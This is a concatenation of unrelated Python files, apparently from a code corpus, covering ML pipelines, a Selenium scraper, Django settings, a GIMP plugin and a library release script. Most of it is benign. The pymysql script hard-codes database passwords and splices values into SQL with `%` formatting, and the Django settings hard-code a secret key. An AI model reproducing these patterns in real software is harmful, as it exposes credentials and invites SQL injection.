if __name__ == "__main__":
    start_time = time.time()
    main()
    print("--- %s seconds ---" % (time.time() - start_time))


"""Normalization modules.
"""

import tensorflow as tf

from tensorsketch.modules.base import Module
from tensorsketch.modules.base import build_with_name_scope
from tensorsketch.utils import assign_moving_average
import tensorsketch.utils as tsu

class MaxPool(Module):
    def __init__(self, kernel_size, strides, padding="same", name=None):
        super().__init__(name=name)
        self.kernel_size = kernel_size
        self.strides = strides
        self.padding = padding

    def forward(self, x):
        return tf.nn.max_pool(x,
                              self.kernel_size,
                              self.strides,
                              self.padding.upper())

class AvgPool(Module):
    def __init__(self, kernel_size=None, strides=None, padding="same", name=None):
        super().__init__(name=name)
        self.kernel_size = kernel_size
        self.strides = strides
        self.padding = padding

    def forward(self, x):
        if self.kernel_size is None:
            # Execute global mean pooling
            return tf.reduce_mean(x, axis=[*range(1, len(x.shape) - 1)])
        else:
            return tf.nn.avg_pool(x,
                                  self.kernel_size,
                                  self.strides,
                                  self.padding.upper())


import os
from joblib import dump, load
import numpy as np
from sklearn.preprocessing import StandardScaler
from audio_feature_extraction import get_clip_mel_spectrogram
from constants import MOODS_TO_QUADRANTS, DATA_TYPE, MEL_RESIZED_SHAPE, TOTAL_NUM_CLIPS
from pathlib import Path

def save_training_data(dataset_dir: Path) -> np.ndarray:
    """
    Extracts mel spectrograms from all audio samples and saves them into a destination .gz file.

    :param: dataset_dir: the source directory containing the data
    :return: mel spectrograms of all audio samples
    """

    mels = np.empty((TOTAL_NUM_CLIPS,) + MEL_RESIZED_SHAPE, dtype=DATA_TYPE)

    index = 0

    for i, path in enumerate(dataset_dir.iterdir()):
        if os.path.isdir(path):
            for audiofile in path.iterdir():
                mel = get_clip_mel_spectrogram(audiofile)

                print('Finished with', audiofile, 'index is', index)

                mels[index] = mel

                index += 1

    print('Saving data...')

    dump(mels, 'turkish_mels.gz', compress=True)

    return mels

def save_labels(dataset_dir: Path) -> np.array:
    """
    Extracts data labels from the given dataset and saves them into a .gz file.

    :param: dataset_dir: the source directory containing the data
    :return: labels for all audio samples
    """

    labels = np.zeros(TOTAL_NUM_CLIPS, dtype=np.int32)

    i = 0

    for item in os.listdir(dataset_dir):
        if os.path.isdir(dataset_dir / item):
            sub_dir_length = len(os.listdir(dataset_dir / item))

            label = MOODS_TO_QUADRANTS[item]

            labels[i:i+sub_dir_length] = np.repeat(label, sub_dir_length)

            print('label is', label)

            i += sub_dir_length

    dump(labels, 'turkish_labels.gz', compress=True)

    return labels

def normalize_data(data_file: Path) -> np.ndarray:
    """
    Normalizes the mel spectrograms data using StandardScaler(), squeezing the data into the range [-1, 1]
    and ensuring that it has 0 mean and 1 standard deviation.

    :param: data_file: a path to the file containing the mel spectrograms data
    :return: the normalized data
    """

    data = load(data_file)

    scaler = StandardScaler()

    flattened = data.flatten()

    normalized_data = scaler.fit_transform(flattened.reshape(-1, 1)).reshape((data.shape + (1,)))

    dump(normalized_data, 'turkish_normalized_mels.gz', compress=True)

    return normalized_data


import pymysql

# 打开数据库连接
localdb = pymysql.connect("localhost", "root", "werered", "test")
# webdb = pymysql.connect("localhost", "wangsheng", "cmcc1234", "littlec_user", 33601)
cursor = localdb.cursor()
# webCursor = webdb.cursor()
ONE_STEP = 50000
TOTAL = 1200000
#sql = "SELECT * FROM user_view_info \
#       WHERE event_id = %s" % (eventId)
insertSQL = "insert into t_department(corp_id, count) value(%s,%d)"
insertDepartment = "insert into corp_user_size(corp_id, user_size) value(%s,%s)"
updateUserSize  = "UPDATE test_crop set user_size = %s WHERE corp_id = %s"
try:
    begin = 0
    cursor.execute("SELECT corp_id from test_crop")
    result = cursor.fetchall()
    print("size = ",len(result))
    for corpID in result:
        begin = begin + 1
        cursor.execute("SELECT  user_size from t_department \
        WHERE  `enable` = 1 and corp_id = %s" % corpID)
        corpUserSize = cursor.fetchall()
        if corpUserSize:
            userCount = 0
            for userSize in corpUserSize:
                userCount += userSize[0];
            cursor.execute(updateUserSize, (userCount,corpID))
        if begin % 1000 == 0:
            begin = 0
            print("one setp")

    # 执行sql语句
    localdb.commit()
        # print(end)
        # begin += ONE_STEP
        # end   += ONE_STEP
except Exception as e:
        # 发生错误时回滚
    localdb.rollback()
    print(e)

localdb.close()
# webdb.close()


from split_settings.tools import include
from dotenv import load_dotenv
load_dotenv()

include(
    'components/auth_password_validators.py',
    'components/database.py',
    'components/installed_apps.py',
    'components/middleware.py',
    'components/tempates.py',
)

from pathlib import Path
import os

DEBUG = os.environ.get('DEBUG', False) == 'True'
ALLOWED_HOSTS = ['127.0.0.1']

BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = 'django-insecure-zemvma(i#(znnxfs_@o%+5(540z)^o(liq5w!t@y%60w2m3507'
ROOT_URLCONF = 'kino.urls'
WSGI_APPLICATION = 'kino.wsgi.application'

LANGUAGE_CODE = 'ru-RU'
LOCALE_PATHS = ['movies/locale']
TIME_ZONE = 'UTC'

USE_I18N = True
USE_TZ = True

STATIC_URL = 'static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')

DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'

#this is for debuger
INTERNAL_IPS = [
    "127.0.0.1",
]


import utilities as ut
from locators import Elements

e = Elements()

dict_elements = {
    "name": e.fighter_name,
    "age": e.age,
    "nationality": e.nationality,
    "organization": e.organization,
    "height": e.height,
    "weight": e.weight,
    "wins": e.wins,
    "losses": e.losses,
    "kos": e.kos,
    "submissions": e.submissions,
    "decisions": e.decisions,
}

def accept_cookies(driver):
    """
    Accepts cookie pop ups

    :param driver: selenium webdriver
    :param by: selenium locator
    """
    ut.find_element(driver, e.accept_all, "click")
    ut.find_element(driver, e.accept_cookies, "click")

def click_on_latest_rankings(driver):
    """
    Directs to latest rankings page and returns the url

    :param driver: selenium web driver
    :return: str
    """
    ut.find_element(driver, e.division, "click")
    return driver.current_url

def select_division(driver, weight):
    """
    Selects a fighter on the current division page based on the inputted weight index

    :param driver: selenium web driver
    :param by: selenium locator
    :param weight: int
    :return division_url: url (str)
    """
    new_xpath = ut.get_xpath(weight, -2, e.start_weight)
    ut.find_element(driver, (e.start_weight[0], new_xpath), "click")
    division_url = driver.current_url
    return division_url

def select_fighter(driver, fighter):
    """
    Selects a fighter on the current division page based on the inputted fighter index

    :param driver: selenium web driver
    :param by: selenium locator
    :param fighter: int
    """
    new_xpath = ut.get_xpath(fighter, -4, e.no1_fighter)
    ut.find_element(driver, (e.no1_fighter[0], new_xpath), "click")

def save_fighter_stats(driver):
    """
    Saves fighter stats into dictionary and then inputs that dictionary into database

    :param driver: webdriver
    """
    d = {}

    for stat in dict_elements:
        s = ut.find_element(driver, dict_elements[stat], "save")

        if s is None:
            s = ut.find_element(driver, dict_elements[stat], "save")

        if stat == "organization":
            s = s.text.split(' ')[0].upper()
            if s == "PROFESSIONAL":
                s = "PFL"
        else:
            s = s.text

        d[stat] = s

    return d


import torch
import torch.nn as nn

from pytorch_rclayers import RegToRegConv, RegToIrrepConv, IrrepToIrrepConv, IrrepActivationLayer, \
    IrrepConcatLayer, IrrepBatchNorm, RegBatchNorm, RegConcatLayer, ToKmerLayer

class CustomRCPS(nn.Module):

    def __init__(self,
                 filters=(16, 16, 16),
                 kernel_sizes=(15, 14, 14),
                 pool_size=40,
                 pool_strides=20,
                 out_size=1,
                 placeholder_bn=False,
                 kmers=1):
        """
        This is an example of use of the equivariant layers :

        The network takes as inputs windows of 1000 base pairs one hot encoded and outputs a binary prediction
        The architecture follows the paper of Avanti Shrikumar : Reverse Complement Parameter Sharing
        We reimplement everything with equivariant layers and add the possibility to start the encoding with
        a K-Mer encoding layer.
        """
        super(CustomRCPS, self).__init__()

        self.kmers = int(kmers)
        self.to_kmer = ToKmerLayer(k=self.kmers)
        reg_in = self.to_kmer.features // 2
        filters = [reg_in] + list(filters)

        # Now add the intermediate layer : sequence of conv, BN, activation
        self.reg_layers = nn.ModuleList()
        self.bn_layers = nn.ModuleList()
        self.activation_layers = nn.ModuleList()
        for i in range(len(filters) - 1):
            prev_reg = filters[i]
            next_reg = filters[i + 1]
            self.reg_layers.append(RegToRegConv(
                reg_in=prev_reg,
                reg_out=next_reg,
                kernel_size=kernel_sizes[i],
            ))
            self.bn_layers.append(RegBatchNorm(reg_dim=next_reg, placeholder=placeholder_bn))
            # Don't add activation if it's the last layer
            placeholder = (i == len(filters) - 1)
            self.activation_layers.append(nn.ReLU())

        self.concat = RegConcatLayer(reg=filters[-1])
        self.pool = nn.MaxPool1d(kernel_size=pool_size, stride=pool_strides)
        self.flattener = nn.Flatten()
        self.dense = nn.Linear(in_features=752, out_features=out_size)

    def forward(self, inputs):
        x = self.to_kmer(inputs)
        for reg_layer, bn_layer, activation_layer in zip(self.reg_layers, self.bn_layers, self.activation_layers):
            x = reg_layer(x)
            x = bn_layer(x)
            x = activation_layer(x)

        # Average two strands predictions, pool and go through Dense
        x = self.concat(x)
        x = self.pool(x)
        x = self.flattener(x)
        x = self.dense(x)
        outputs = torch.sigmoid(x)
        return outputs

class EquiNetBinary(nn.Module):

    def __init__(self,
                 filters=((16, 16), (16, 16), (16, 16)),
                 kernel_sizes=(15, 14, 14),
                 pool_size=40,
                 pool_length=20,
                 out_size=1,
                 placeholder_bn=False,
                 kmers=1):
        """
        This network takes as inputs windows of 1000 base pairs one hot encoded and outputs a binary prediction

        First maps the regular representation to irrep setting
        Then goes from one setting to another.
        """
        super(EquiNetBinary, self).__init__()

        self.kmers = int(kmers)
        self.to_kmer = ToKmerLayer(k=self.kmers)

        # First mapping goes from the input to an irrep feature space
        reg_in = self.to_kmer.features // 2
        first_kernel_size = kernel_sizes[0]
        first_a, first_b = filters[0]
        self.last_a, self.last_b = filters[-1]
        self.reg_irrep = RegToIrrepConv(reg_in=reg_in,
                                        a_out=first_a,
                                        b_out=first_b,
                                        kernel_size=first_kernel_size)
        self.first_bn = IrrepBatchNorm(a=first_a, b=first_b, placeholder=placeholder_bn)
        self.first_act = IrrepActivationLayer(a=first_a, b=first_b)

        # Now add the intermediate layers : sequence of conv, BN, activation
        self.irrep_layers = nn.ModuleList()
        self.bn_layers = nn.ModuleList()
        self.activation_layers = nn.ModuleList()
        for i in range(1, len(filters)):
            prev_a, prev_b = filters[i - 1]
            next_a, next_b = filters[i]
            self.irrep_layers.append(IrrepToIrrepConv(
                a_in=prev_a,
                b_in=prev_b,
                a_out=next_a,
                b_out=next_b,
                kernel_size=kernel_sizes[i],
            ))
            self.bn_layers.append(IrrepBatchNorm(a=next_a, b=next_b, placeholder=placeholder_bn))
            self.activation_layers.append(IrrepActivationLayer(a=next_a,
                                                               b=next_b))

        self.concat = IrrepConcatLayer(a=self.last_a, b=self.last_b)
        self.pool = nn.MaxPool1d(kernel_size=pool_size, stride=pool_length)
        self.flattener = nn.Flatten()
        self.dense = nn.Linear(in_features=1472, out_features=out_size)
        self.final_activation = nn.Sigmoid()

    def forward(self, inputs):
        x = self.to_kmer(inputs)
        x = self.reg_irrep(x)
        x = self.first_bn(x)
        x = self.first_act(x)

        for irrep_layer, bn_layer, activation_layer in zip(self.irrep_layers, self.bn_layers, self.activation_layers):
            x = irrep_layer(x)
            x = bn_layer(x)
            x = activation_layer(x)

        # Average two strands predictions, pool and go through Dense
        x = x.float()
        x = self.concat(x)
        x = self.pool(x)
        x = self.flattener(x)
        x = self.dense(x)
        outputs = self.final_activation(x)
        return outputs

if __name__ == '__main__':
    inputs = torch.ones(size=(1, 4, 1000)).double()
    model = EquiNetBinary(kmers=2, filters=((24, 8), (24, 8), (24, 8)))
    outputs = model(inputs)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

# TODO:
# - reorder FINAL group
# - process folders

# INTERESTING:
# freeze layers
# flatten = remove alpha

try:
    import sys

    sys.path.insert(1, "C:\\Users\\user\\AppData\\Roaming\\GIMP\\2.10\\plug-ins\\")
    from td_utilities import *

    from gimpfu import *
    import gimpcolor

    def remove_temp_layers(items):
        for item in items:
            if type(item) == gimp.Layer:
                layer_prefix = item.name.split()[0]

                if layer_prefix == "_temp":
                    image.remove_layer(item)
            else:
                remove_temp_layers(item.layers)

    def process_layers(items):
        items.reverse()

        for item in items:
            if type(item) == gimp.Layer:
                layer_prefix = item.name.split()[0]

                if layer_prefix == "_e":
                    effect(item)
            else:
                process_layers(item.layers)

    def effect(layer):
        global temp_group

        blur_layer = create_temp_layer(image, layer, "_temp " + layer.name, temp_group)
        blur_layer.translate(100, 0)

        # Add blur
        pdb.gimp_layer_resize_to_image_size(blur_layer)
        mask = pdb.gimp_layer_create_mask(blur_layer, 2)
        pdb.gimp_layer_add_mask(blur_layer, mask)
        pdb.plug_in_sel_gauss(image, blur_layer, 1.5, 255)

        edges_layer = create_temp_layer(image, layer, "_temp " + layer.name, temp_group)
        edges_layer.translate(100, 0)

        # Add edges
        pdb.gimp_image_select_color(image, 2, edges_layer, gimpcolor.RGB(0, 0, 0))
        mask = pdb.gimp_layer_create_mask(edges_layer, 4)
        pdb.gimp_layer_add_mask(edges_layer, mask)
        pdb.gimp_layer_set_opacity(edges_layer, 50)

        pdb.gimp_item_set_expanded(temp_group, False)

    image = None
    drawable = None
    temp_group = None

    @save_state
    def td_apply_effects(img, dbl):
        global image, drawable, temp_group

        image = img
        drawable = dbl

        temp_group = get_group(image, "FINAL")

        # TODO:
        # - process multiple effects
        if pdb.gimp_image_is_dirty(image):
            active_layer = image.active_layer

            # remove_temp_layers(image.layers)
            temp_index = remove_active_temp(active_layer)

            # process_layers(image.layers)
            process_layer(active_layer)

            pdb.gimp_image_clean_all(image)

    # Регистрируем функцию в PDB
    register(
        "python-fu-td-apply-effects",
        "TD apply effects",
        "",
        "",
        "",
        "",
        "<Image>/TD plugins/TD Apply effects",
        "*",
        [],
        [],
        td_apply_effects,
    )  # Имя исходной функции и меню в которое будет помещён пункт запускающий дополнение

    # Запускаем скрипт
    main()

except Exception as e:
    gimp.message(str(e))


import pandas as pd
import numpy as np
from sklearn import linear_model
# reading the csbv file
df = pd.read_csv("homeprices.csv")
# calculating the median of the column
median = int(df.bedroom.median())
# fill the empty rows in the column
df.bedroom = df.bedroom.fillna(median)

reg = linear_model.LinearRegression()
reg.fit(df[['area','bedroom','age']],df.price)
# f = m1*area+m2*bedroom+m3*age+b
# m is coef
# b is intercept
print(reg.coef_)
print(reg.intercept_)

prediction = reg.predict([[4563,3,45]])
print(prediction)


import argparse
import os
import hashlib
import json

parser = argparse.ArgumentParser()
parser.add_argument("--file", help='to wrap file')
args = parser.parse_args()

create_folder = "file/"
file_size = os.path.getsize(args.file)
# 100 바이트 이하면 가치없다고 판단하고 종료
if file_size < 100:
    print("파일이 너무 작아서 가치가 없습니다.")
    exit()

# 파일을 10분할로 하되, 마지막 chunk는 그 나머지를 취하도록 구성
one_file_size = int(file_size / 10)

file_size_list = [
    one_file_size,
    one_file_size,
    one_file_size,
    one_file_size,
    one_file_size,
    one_file_size,
    one_file_size,
    one_file_size,
    one_file_size,
    file_size - one_file_size * 9
]

# byte sequence가 주어지면, md5 값 계산
def getHashName(byte_seq):
    hasher = hashlib.md5()
    hasher.update(byte_seq)
    return hasher.hexdigest()

# 해당 파일의 md5 계산
def checkHash(path, blocksize):
    hash = hashlib.md5()
    with open(create_folder + path, 'rb') as file:
        buf = file.read(blocksize)
        hash.update(buf)
    file.close()
    return hash.hexdigest()

# simpletorrent 파일 형식(json)
json_result = {
    "actual_name": "",
    "hash_list": "",
    "size": ""
}

# hash_list는 md5 해쉬값이 들어간다.
list = []

# 해당 파일을 읽고 md5 파일 이름으로 file 폴더에 저장
with open(args.file, "rb") as f:
    for i in range(0, 10):
        byte = f.read(file_size_list[i])
        file_name = getHashName(byte)
        list.append(file_name)
        with open(create_folder + file_name, "wb") as output:
            output.write(byte)
            output.close()
        # print(file_name + " " + str(file_size_list[i]) + " " + checkHash(file_name, file_size_list[i]))

# simpletorrent file 포맷에 집어 넣음
json_result["actual_name"] = args.file
json_result["hash_list"] = list
json_result["size"] = file_size

# Dictionary를 json.dumps를 이용하여 string으로 바꿈
json_object = json.dumps(json_result, indent=2)

# 해당 이름.simpletorrent 파일로 저장(w를 이용하여 스트링으로 저장)
with open(args.file + ".simpletorrent", "w") as output:
    output.write(json_object)
    output.close()


import numpy as np
from multiprocessing import Queue

class Motion():

    def __init__(self):

        self.last_pos = [0, 0]
        self.speeds = []

        self.curr_speed = 0
        self.curr_speed_type = ''

        self.speed_types = {'Still':([0, 0.005]), 'Stalking':[0.005, 0.1], 'Walking':[0.1, 1], 'Running':[1, 10]}

    def run(self, pos, pos_history, speed_history, motion, q):

        if len(pos_history) > 0:
            print(pos, pos_history[-1])
            self.last_pos = pos_history[-1]
            speed = np.sqrt((pos[0] - self.last_pos[0]) ** 2 + (pos[1] - self.last_pos[1]) ** 2)
            speed_history.append(speed)
            pos_history.append(speed)

            if len(speed_history) < 10:
                return

            speed_history.remove(0)
            pos_history.remove(0)

            self.curr_speed = np.average(speed_history)

            for type, rng in self.speed_types.items():
                if rng[0] <= self.curr_speed < rng[1]:
                    self.curr_speed_type = type

            motion = [self.curr_speed_type]
        else:
            motion = ['still']
            pos_history.append(pos)
        q.put(motion)
        q.put(speed_history)
        q.put(pos_history)


import numpy as np
import matplotlib.pyplot as plt
from matplotlib.widgets import Slider
import sys
import seaborn as sns

####################### IMPORT DATA ######################

JobID = int(input('JobID: '))
print('Loading Data...')
Weightmatrix = np.load('../../RetinotopicMapsData/%s/Weightmatrix.npy' % ('{0:04}'.format(JobID)))
TRin = np.load('../../RetinotopicMapsData/%s/PrimaryTR.npy' % ('{0:04}'.format(JobID)))

######################## PLOT OPTIONS #####################

Rplotdim = 1  # retina dimension plotted (1 or 2)
Rplotslice = (len(Weightmatrix[0, 0, 0, 0, :]) - 2) // 2  # slice location in the other dimension
Tplotdim = 1
Tplotslice = (len(Weightmatrix[0, 0, :, 0, 0]) - 2) // 2

######################## TABLE #########################
if Rplotdim == 1:
    rplotmindim1 = rplotmin = 1
    rplotmaxdim1 = rplotmax = len(Weightmatrix[0, 0, 0, :, 0]) - 2
    rplotmindim2 = Rplotslice
    rplotmaxdim2 = Rplotslice
elif Rplotdim == 2:
    rplotmindim1 = Rplotslice
    rplotmaxdim1 = Rplotslice
    rplotmindim2 = rplotmin = 1
    rplotmaxdim2 = rplotmax = len(Weightmatrix[0, 0, 0, 0, :]) - 2
if Tplotdim == 1:
    tplotmindim1 = tplotmin = 1
    tplotmaxdim1 = tplotmax = len(Weightmatrix[0, :, 0, 0, 0]) - 2
    tplotmindim2 = Tplotslice
    tplotmaxdim2 = Tplotslice
elif Tplotdim == 2:
    tplotmindim1 = Tplotslice
    tplotmaxdim1 = Tplotslice
    tplotmindim2 = tplotmin = 1
    tplotmaxdim2 = tplotmax = len(Weightmatrix[0, 0, :, 0, 0]) - 2

# Tabulate Weight Matrix
table = np.zeros([len(Weightmatrix[:, 0, 0, 0, 0]), (rplotmax - rplotmin + 1) * (tplotmax - tplotmin + 1), 6])
for iteration in range(len(Weightmatrix[:, 0, 0, 0, 0]) - 1):
    row = 0
    deltaw = Weightmatrix[iteration + 1, :, :, :, :] - Weightmatrix[iteration, :, :, :, :]
    for rdim1 in range(rplotmindim1, rplotmaxdim1 + 1):
        for rdim2 in range(rplotmindim2, rplotmaxdim2 + 1):
            for tdim1 in range(tplotmindim1, tplotmaxdim1 + 1):
                for tdim2 in range(tplotmindim2, tplotmaxdim2 + 1):
                    if Weightmatrix[iteration, tdim1, tdim2, rdim1, rdim2] != 0.:
                        table[iteration, row, 0] = tdim1
                        table[iteration, row, 1] = tdim2
                        table[iteration, row, 2] = rdim1
                        table[iteration, row, 3] = rdim2
                        table[iteration, row, 4] = Weightmatrix[iteration, tdim1, tdim2, rdim1, rdim2]
                        if deltaw[tdim1, tdim2, rdim1, rdim2] >= 0:
                            table[iteration, row, 5] = 1
                        else:
                            table[iteration, row, 5] = 0
                        row += 1

    sys.stdout.write('\rProcessing data... %i percent' % (iteration * 100 / len(Weightmatrix[:, 0, 0, 0, 0])))
    sys.stdout.flush()

########################## PLOT ##########################

fig = plt.figure()
ax = fig.add_subplot(111)
ax.set_ylabel('Retinal Cell Number (Dimension %d)' % (Rplotdim))
ax.set_xlabel('Tectal Cell Number (Dimension %d)' % (Tplotdim))
ax.set_xlim(1, len(Weightmatrix[0, 0, 0, :, 0]) - 2)
ax.set_ylim(1, len(Weightmatrix[0, 0, 0, 0, :]) - 2)
plt.subplots_adjust(left=0.25, bottom=0.25)
axframe = plt.axes([0.25, 0.1, 0.65, 0.03])
sframe = Slider(axframe, 'Iteration', 0, (len(Weightmatrix[:, 0, 0, 0, 0])) * TRin - TRin - 1, valinit=0, valfmt='%d')

def weightplot(i):
    wplot = ax.scatter(table[i // TRin, :, Tplotdim - 1], table[i // TRin, :, Rplotdim + 1],
                       s=(table[i // TRin, :, 4]) * 50, marker='s',
                       c=(table[i // TRin, :, 5]),
                       cmap='Greys', edgecolors='k')
    wplot.set_clim(0, 1)
    if Rplotdim == 1:
        ax.set_ylim(1, len(Weightmatrix[0, 0, 0, :, 0]) - 2)
    elif Rplotdim == 2:
        ax.set_ylim(1, len(Weightmatrix[0, 0, 0, 0, :]) - 2)
    if Tplotdim == 1:
        ax.set_xlim(1, len(Weightmatrix[0, :, 0, 0, 0]) - 2)
    elif Tplotdim == 2:
        ax.set_xlim(1, len(Weightmatrix[0, 0, :, 0, 0]) - 2)
    ax.set_ylabel('Retinal Cell Number (Dimension %d)' % (Rplotdim))
    ax.set_xlabel('Tectal Cell Number (Dimension %d)' % (Tplotdim))

def update(val):
    ax.clear()
    i = int(np.floor(sframe.val))
    weightplot(i)

weightplot(0)

####################### END ########################
print('Complete!')
sys.stdout.flush()
sframe.on_changed(update)
plt.show()


#####################################
#判断两个体数据是否相等
#####################################
from __future__ import division
from ops import *
from utils import *
from seg_eval import *

#gt数据
testlist1="../outcome/testdata/ct_train_1004_label.nii.gz"
#预测出来的数据
testlist2="../outcome/label/ct_test_2001_image.nii.gz"

print(testlist1)
# 加载对应的groundtruth
gt_file = nib.load(testlist1)
# 将标签体数据转换成矩阵
gt_label = gt_file.get_data().copy()
print("标签数据加载完毕")

# 加载对应的groundtruth
predict_file = nib.load(testlist2)
# 将标签体数据转换成矩阵
predict_label = predict_file.get_data().copy()
print("预测数据加载完毕")

k_dice_c = seg_eval_metric(predict_label, gt_label)#计算n分类dice指数
print ("dice为:",k_dice_c)
k_jaccard_c = jaccard_n_class(predict_label, gt_label)  # 计算n分类jaccard指数
print("jaccard为:", k_jaccard_c)


# testpar.py
# Leaning python, variations on parallel print
# From "Your Guide to the Python Print Function", https://realpython.com/python-print/
#
# 2019-08-29    PV

import sys
from time import sleep
from random import random
from threading import current_thread, Thread, Lock
from unittest.mock import patch
import logging

logging.basicConfig(format='%(threadName)s %(message)s')

write = sys.stdout.write

def slow_write(text):
    sleep(random())
    write(text)

lock = Lock()
def thread_safe_print(*args, **kwargs):
    with lock:
        logging.error('Lock acquired')
        print(*args, **kwargs)
        logging.error('Lock released')

def task():
    thread_name = current_thread().name
    for letter in 'ABC':
        #print(f'[{thread_name} {letter}]\n', end='')
        thread_safe_print(f'[{thread_name} {letter}]')

with patch('sys.stdout') as mock_stdout:
    mock_stdout.write = slow_write
    for _ in range(3):
        Thread(target=task).start()


from sklearn.metrics import mean_squared_error, mean_absolute_error
from copy import deepcopy
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import scipy
from sklearn.linear_model import LinearRegression

housing = pd.read_csv("../housePrices_train.csv")

print(housing)

# implement multilinear regression from scratch
# predict from multiple features

# 1- get the correlation between each integer values and the label we want to predict

my_label = "SalePrice"
correlations = housing.corr(numeric_only=True)[my_label]
print("the different correlations are: ")
print(correlations)
# after printing correlations, we will choose as features
# feature_one = "TotalBsmtSF"
# feature_two = "1stFlrSF"
# feature_three = "GrLivArea"
# feature_four = "OverallQual"

# represent our features with our label

saleprices = housing["SalePrice"]
# choose some columns in the dataset
housing_second = housing[["TotalBsmtSF", "1stFlrSF",
                          "GrLivArea", "OverallQual", "YearBuilt"]]
# add saleprices to housing_second
housing_second["saleprices"] = saleprices
print(housing_second)

# we are going to work with housing_second

# let plot first what we have

plt.scatter(housing_second["TotalBsmtSF"], housing_second["saleprices"])
# name the axis
plt.xlabel('Total of BsmtSF')
plt.ylabel('Sale Prices')
plt.show()

# transform housing_second into a numpy array

housing_second_np = housing_second.to_numpy()
housing_second_np.shape

X_train, y_train = housing_second_np[:, :5], housing_second_np[:, 5]
print(X_train.shape)
print(y_train.shape)
print(X_train)

model = LinearRegression().fit(X_train, y_train)
predictions = model.predict(X_train)
print(predictions)

# plt.scatter(X_train, predictions)
# plt.plot(X_train, y_train, color="r")
# plt.show()

# mean squared errors functions

mse = mean_squared_error(predictions, y_train)
mae = mean_absolute_error(predictions, y_train)

print(mse, mae)

predictions_housing = pd.DataFrame({'TotalBsmtSF': housing_second["TotalBsmtSF"],
                                    '1stFlrSF': housing_second["1stFlrSF"],
                                    'GrLivArea': housing_second["GrLivArea"],
                                    'OverallQual': housing_second["OverallQual"],
                                    'YearBuilt': housing_second["YearBuilt"],
                                    'Predictions': predictions})

print(predictions_housing)

def get_predictions(model, X):
    pass


# This file is dual licensed under the terms of the Apache License, Version
# 2.0, and the BSD License. See the LICENSE file in the root of this repository
# for complete details.

from __future__ import absolute_import, division, print_function

import getpass
import glob
import io
import json
import os
import subprocess
import tempfile
import time
import zipfile

from azure.devops.connection import Connection
from azure.devops.v5_1.build.models import Build

import click

from msrest.authentication import BasicAuthentication

import requests

def run(*args, **kwargs):
    print("[running] {0}".format(list(args)))
    subprocess.check_call(list(args), **kwargs)

def wait_for_build_completed_azure(build_client, build_id):
    while True:
        build = build_client.get_build("cryptography", build_id)
        if build.finish_time is not None:
            break
        time.sleep(3)

def download_artifacts_azure(build_client, build_id):
    artifacts = build_client.get_artifacts("cryptography", build_id)
    paths = []
    for artifact in artifacts:
        contents = build_client.get_artifact_content_zip(
            "cryptography", build_id, artifact.name
        )
        with tempfile.NamedTemporaryFile() as f:
            for chunk in contents:
                f.write(chunk)
            f.flush()
            with zipfile.ZipFile(f.name) as z:
                for name in z.namelist():
                    if not name.endswith(".whl"):
                        continue
                    p = z.open(name)
                    out_path = os.path.join(
                        os.path.dirname(__file__),
                        "dist",
                        os.path.basename(name),
                    )
                    with open(out_path, "wb") as f:
                        f.write(p.read())
                    paths.append(out_path)
    return paths

def build_wheels_azure(token, version):
    credentials = BasicAuthentication("", token)
    connection = Connection(
        base_url="https://dev.azure.com/pyca", creds=credentials
    )
    build_client = connection.clients.get_build_client()
    [definition] = build_client.get_definitions(
        "cryptography", "wheel builder"
    )
    build_description = Build(
        definition=definition,
        parameters=json.dumps({"BUILD_VERSION": version}),
    )
    build = build_client.queue_build(
        project="cryptography", build=build_description
    )
    wait_for_build_completed_azure(build_client, build.id)
    return download_artifacts_azure(build_client, build.id)

def wait_for_build_complete_github_actions(session, token, run_url):
    while True:
        response = session.get(run_url, headers={
            "Content-Type": "application/json",
            "Authorization": "token {}".format(token),
        })
        response.raise_for_status()
        if response.json()["conclusion"] is not None:
            break
        time.sleep(3)

def download_artifacts_github_actions(session, token, run_url):
    response = session.get(run_url, headers={
        "Content-Type": "application/json",
        "Authorization": "token {}".format(token),
    })
    response.raise_for_status()

    response = session.get(response.json()["artifacts_url"], headers={
        "Content-Type": "application/json",
        "Authorization": "token {}".format(token),
    })
    response.raise_for_status()
    paths = []
    for artifact in response.json()["artifacts"]:
        response = session.get(artifact["archive_download_url"], headers={
            "Content-Type": "application/json",
            "Authorization": "token {}".format(token),
        })
        with zipfile.ZipFile(io.BytesIO(response.content)) as z:
            for name in z.namelist():
                if not name.endswith(".whl"):
                    continue
                p = z.open(name)
                out_path = os.path.join(
                    os.path.dirname(__file__),
                    "dist",
                    os.path.basename(name),
                )
                with open(out_path, "wb") as f:
                    f.write(p.read())
                paths.append(out_path)
    return paths

def build_github_actions_wheels(token, version):
    session = requests.Session()

    response = session.post(
        "https://api.github.com/repos/pyca/cryptography/dispatches",
        headers={
            "Content-Type": "application/json",
            "Accept": "application/vnd.github.everest-preview+json",
            "Authorization": "token {}".format(token),
        },
        data=json.dumps({
            "event_type": "wheel-builder",
            "client_payload": {
                "BUILD_VERSION": version,
            },
        }),
    )
    response.raise_for_status()

    # Give it a few seconds for the run to kick off.
    time.sleep(5)
    response = session.get(
        (
            "https://api.github.com/repos/pyca/cryptography/actions/workflows/"
            "wheel-builder.yml/runs?event=repository_dispatch"
        ),
        headers={
            "Content-Type": "application/json",
            "Authorization": "token {}".format(token),
        },
    )
    response.raise_for_status()
    run_url = response.json()["workflow_runs"][0]["url"]
    wait_for_build_complete_github_actions(session, token, run_url)
    return download_artifacts_github_actions(session, token, run_url)

@click.command()
@click.argument("version")
def release(version):
    """
    ``version`` should be a string like '0.4' or '1.0'.
    """
    azure_token = getpass.getpass("Azure personal access token: ")
    github_token = getpass.getpass("Github person access token: ")

    run("git", "tag", "-s", version, "-m", "{0} release".format(version))
    run("git", "push", "--tags")

    run("python", "setup.py", "sdist")
    run("python", "setup.py", "sdist", "bdist_wheel", cwd="vectors/")

    packages = (
        glob.glob("dist/cryptography-{0}*".format(version)) +
        glob.glob("vectors/dist/cryptography_vectors-{0}*".format(version))
    )
    run("twine", "upload", "-s", *packages)

    azure_wheel_paths = build_wheels_azure(azure_token, version)
    github_actions_wheel_paths = build_github_actions_wheels(
        github_token, version
    )
    run("twine", "upload", *(azure_wheel_paths, github_actions_wheel_paths))

if __name__ == "__main__":
    release()


import os
import sys
import logging
import threading
import asyncio
from dotenv import load_dotenv

load_dotenv()

from flask import Flask, g
from apscheduler.schedulers.background import BackgroundScheduler

import database as db
from services import ping

TEST = True
